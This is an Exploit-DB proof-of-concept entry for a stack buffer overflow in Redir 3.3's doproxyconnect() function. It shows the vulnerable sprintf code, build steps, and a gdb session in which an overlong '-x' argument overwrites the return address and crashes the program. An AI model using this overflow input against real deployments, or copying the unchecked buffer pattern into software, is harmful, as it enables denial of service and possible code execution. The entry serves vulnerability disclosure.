Redir 3.3 - Denial of Service (PoC)

EDB-ID:

47919

CVE:

N/A


Author:

hieubl

Type:

dos


Platform:

Linux

Date:

2020-01-14


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

GET CERTIFIED

# Exploit Title: Redir 3.3 - Denial of Service (PoC)
# Date: 2020-01-14
# Exploit Author: hieubl from HPT Cyber Security
# Vendor Homepage: https://github.com/troglobit/redir
# Software Link: https://github.com/troglobit/redir
# Version: 3.3
# Tested on: Kali GNU/Linux Rolling 2019.4
# CVE : [if applicable]

The source code of redir.c contains doproxyconnect() function which
has the stack overflow vulnerability:

void doproxyconnect(int socket)
{
	int x;
	char buf[128];

	/* write CONNECT string to proxy */
	sprintf((char *)&buf, "CONNECT %s HTTP/1.0\n\n", connect_str);
	x = write(socket, (char *)&buf, strlen(buf));
	if (x < 1) {
		syslog(LOG_ERR, "Failed writing to proxy: %s", strerror(errno));
		exit(1);
	}
	/* now read result */
	x = read(socket, (char *)&buf, sizeof(buf));
	if (x < 1) {
		syslog(LOG_ERR, "Failed reading reply from proxy: %s", strerror(errno));
		exit(1);
	}
	/* no more error checking for now -- something should be added later */
	/* HTTP/1.0 200 Connection established */
}

Download and build:
# git clone https://github.com/troglobit/redir.git
# cd redir
# ./autogen.sh
# ./configure
# make

Proof of Concept:
  In 1st terminal:
    # gdb -q ./redir
    # set follow-fork-mode child
    # r -x AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
:1234 hpt.vn:80

  In 2nd terminal:
    # nc localhost 1234

  After that, the program in 1st terminal will crash because of buffer
overflow vulnerability.
    ...
    ► 0x5555555571b0 <doproxyconnect+144>    ret    <0x4141414141414141>
    ...
    Program received signal SIGSEGV (fault address 0x0)
    pwndbg>